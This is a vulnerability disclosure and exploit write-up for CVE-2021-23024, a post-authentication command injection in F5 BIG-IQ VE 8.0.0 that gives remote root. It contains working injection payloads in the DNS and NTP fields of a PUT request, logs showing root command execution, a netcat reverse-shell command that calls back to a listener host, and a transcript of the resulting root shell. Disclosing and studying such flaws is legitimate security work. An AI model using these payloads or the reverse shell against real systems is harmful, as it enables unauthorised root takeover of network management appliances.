F5 BIG-IQ VE 8.0.0-2923215 Remote Root

`F5 BIG-IQ VE v8.0.0-2923215 Post-auth Remote Root RCE  
  
CVE-2021-23024  
  
=======  
Details  
=======  
  
It was possible to execute commands with root privileges as an authenticated privileged user via command injection in easy-setup-test-connection.  
  
There are two blind command injection bugs in Test DNS Connection and Test NTP Connection features, which make request to mgmt/shared/system/easy-setup-test-connection.  
  
User accounts tested for calling the API:  
  
- Admin  
- User + Administrator Role  
  
SSH is enabled by default for the root user, but the system does not intend the admin account to gain a shell access:  
  
admin:x:0:500:Admin User:/home/admin:/bin/false  
  
But an admin (or a user with admin-like privileges) can elevate privileges to root and gain a shell via command injection in the web portal.  
  
=====  
Repro  
=====  
  
https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit  
  
Modify and replay back the dnsServerAddresses JSON field.  
  
=======  
Request  
=======  
  
PUT /mgmt/shared/system/easy-setup-test-connection HTTP/1.1  
X-F5-Auth-Token: eyJraW.....  
.....  
  
{"dnsServerAddresses":["$(id>/tmp/id)"],"ntpServerAddresses":[]}  
  
or  
  
{"dnsServerAddresses":["8.8.8.8"],"ntpServerAddresses":["$(whoami)"]}  
  
========  
Response  
========  
  
HTTP/1.1 400 Bad Request  
Server: webd  
.....  
  
{"code":400,"message":"Dns $(id>/tmp/id) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"$(id>/tmp/id)\"],\"ntpServerAddresses\":[]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2101063,"errorStack":[],"kind":":resterrorresponse"}  
  
and repectively  
  
{"code":400,"message":"NTP $(whoami) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"8.8.8.8\"],\"ntpServerAddresses\":[\"$(whoami)\"]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2149253,"errorStack":[],"kind":":resterrorresponse"}  
  
=============  
Execution Log  
=============  
  
DNS:  
  
pid=7349 executed [/bin/sh -c dig +short +time=5 +tries=1 @$(id>/tmp/id) ]  
pid=7351 executed [id ]  
pid=7349 executed [dig +short +time=5 +tries=1 @ ]  
  
[root@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] config # cat /tmp/id  
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0  
  
NTP:  
  
pid=1288 executed [/bin/sh -c dig +short +time=5 +tries=1 @8.8.8.8 $(whoami) ]  
pid=1290 executed [whoami ]  
pid=1288 executed [dig +short +time=5 +tries=1 @8.8.8.8 root ]  
  
============  
Exploitation  
============  
  
The netcat binary with -e support is installed on the system already making a remote shell easy for demo.  
  
A command such as this will provide the connection to our client listener: "nc 10.0.0.100 5000 -e /bin/bash" while on the client we will drop into a root shell on the bigiq server.  
  
$ nc -l -p 5000  
... connection receieved  
  
python -c 'import pty; pty.spawn("/bin/bash")'  
  
[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # pwd  
  
/var/service/restjavad  
  
[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # id  
  
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0  
  
[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # ps  
.....  
32320 ? S 0:00 su elasticsearch -s /bin/bash -c export JAVA_HOME=/usr/lib/jvm/jre-1.8.0-openjdk.x86_64;export ES_JAVA_OPTS='-Xms6000m -Xmx6000m';export ES_PATH_CONF=/var/config/rest/elasticsearch/config;exec bin/elasticsearch >/dev/null 2>&1  
32335 tty1 S 0:00 python -c import pty; pty.spawn("/bin/bash")  
32336 pts/0 Ss 0:00 /bin/bash  
  
===  
Fix  
===  
  
https://support.f5.com/csp/article/K06024431  
`